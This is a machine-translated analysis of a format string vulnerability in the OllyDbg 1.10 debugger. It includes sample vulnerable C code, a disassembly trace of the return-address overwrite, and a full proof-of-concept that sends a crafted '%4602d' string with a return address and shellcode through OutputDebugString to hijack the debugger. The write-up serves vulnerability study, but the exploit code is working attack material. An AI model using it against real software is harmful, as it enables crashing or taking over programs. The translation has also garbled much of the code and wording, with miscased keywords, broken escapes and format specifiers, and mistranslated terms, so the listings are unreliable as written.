Ollydbg Format String 0day analysis and utilization

Applicable to: overflow fans
Prerequisites: Basic Principles of assembly language and Buffer Overflow
Ollydbg Format String 0day analysis and utilization
Text/figure gyzy [Department of Information Security, Jiangsu University & Est]
As a debugger under ring3, OD has won unanimous recognition from many fans of the industry for its excellent performance, recently, milw0rm published an OD 0-day POC (ollydbg v110 local Format String Exploit). Many Stack Overflow Vulnerabilities were previously written, but few of them have the format string vulnerability, this OD provides us with a chance to get familiar with the format string problem (only the OD of the original version has this problem, but the modified version of ollyice of the snow forum does not have this problem ).
Readers may not be familiar with the formatting string vulnerability. The formatting string is also a serious vulnerability, which may expose sensitive information and cause arbitrary code execution. The problem with this OD is that the loose filtering of formatted strings indirectly results in buffer overflow, and the return address stored in the stack is overwritten. Which functions will cause the Formatting Vulnerability? Printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf library functions. Let's look at a simple example:

# Include <stdio. h>
# Include <stdlib. h>

Int main (INT argc, char * argv [])
{
If (argc! = 2)
{
Printf ("enter a string \ n ");
Return 1;
}
Printf (argv [1]);
Printf ("\ n ");
Return 0;
}

The program is very simple, that is, printing program parameters. For example, if the parameter is "Hello, world", the program will output "Hello, world ". What if we enter % d? 1:

Figure 1
4198693 is in decimal format, and hexadecimal format is 401125. Normally print a decimal value with parameters, such as printf ("% d", I ). I is an integer variable. Here we omit the latter. When all parameter pressure stacks are completed and the printf function is called, printf does not check the correctness of the parameter, but mechanically takes the value from the stack as the parameter, that is, we can see 4198693. At this time, the stack is destroyed, and the information in the stack is leaked (for example, the security of sensitive information such as passwords is threatened at this time ). This is just a simple example. In reality, this vulnerability may not exist, but reveals the severity of the formatting string problem. If the provided parameters are % N and are carefully constructed, data can be written to any memory address, which means that the program with the vulnerability can execute any code we submit.
The function where the OD problem occurs this time is not printf, but sprintf. Although the OD has checked the length of the outputdebugstring output string and only accepts 255 bytes, the buffer overflow is indirectly caused because the provided parameters are not checked, I simply simulated the problematic code:

# Include <stdio. h>

Void fun ()
{
Char para [10];
Sprintf (para, "% 12 uaaaaaaaaaaaaaaaaaaaaaaa ");
}

Void main ()
{
Fun ();
}

The key is that the unsigned integer displayed in % 12u is expanded to 12 characters, which is not enough to fill in space. Because the Para parameter has only 10 bytes, therefore, the return address stored in the stack will be overwritten by the AAAA we provide. 2:

As long as we maliciously call the outputdebugstring function, we can overwrite the od eip by the data we submitted, such as outputdebugstring ("% 4602d 0x90 0x90 ..... ") construct such a string output and look at the OD response. 3:

Figure 3
% 4602d indicates expanding the string to 4602 bytes. Is it long enough?
We can use ollyice to debug the OD of the original version. The OD of the original version then runs the program to be debugged (why is it a bit like a blank path). After simple tracking, the code to locate the problem is as follows, because the returned address stored in the da90 stack is overwritten, The retn command at e258 will cause the EIP to be controlled, 4

Figure 4
In the OC, perform a hard disconnection for 0012da8c to see where the value of 0012da90 is overwritten. Finally, locate the following command to overwrite the return address of 0012da90: 004a353d |. 8b4d 10 mov ECx, [arg.3]
004a3540 |. 8bd1 mov edX, ECx
004a3542 |. d1e9 SHR ECx, 1
004a3544 |. d1e9 SHR ECx, 1
004a3546 |. FC ClD
004a3547 |. F3: A5 rep movs dword ptr es: [EDI], dword ptr ds>

In fact, the cause of the error is obvious. OD only checks the output length of outputdebugstring, but does not filter the content, that is, the format string in it causes a buffer overflow. This vulnerability is always a weakness and has no value for use. However, it can be used as a method for anti-debugging to bring the OD into an endless loop, the following is the modified POC code used for anti-debugging. The shellcode is a simple jump command:

# Include <windows. h>
# Include <stdio. h>

# Define format_string "% 4602d"
# Pragma comment (linker, "/entry: winmain ")

Char shellcode [] = "\ xeb \ xfe ";

Int winapi winmain (hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)
{
Char * pszevilbuffer;
Ulong ulevilbufsize;
DWORD dwretaddr = 0x7ffa4512;

Ulevilbufsize = sizeof (format_string) + sizeof (dwretaddr) + sizeof (shellcode );

Pszevilbuffer = (char *) malloc (ulevilbufsize );
Memset (pszevilbuffer, 0x90, ulevilbufsize );

Int I = 0;
Memcpy (pszevilbuffer + I, format_string, sizeof (format_string)-1 );
I + = sizeof (format_string)-1;
Memcpy (pszevilbuffer + I, & dwretaddr, sizeof (dwretaddr ));
I + = sizeof (dwretaddr );
Memcpy (pszevilbuffer + I, shellcode, sizeof (shellcode)-1 );
// Output the debugging string
Outputdebugstring (pszevilbuffer );
Free (pszevilbuffer );
Return 0;
}

Use OD debugging to check the effect. 5:

Figure 5
The CPU usage of the OD is 100% (my computer is dual-core, so it is 50% ). Interested readers can also modify shellcode, but the length cannot exceed 255 bytes.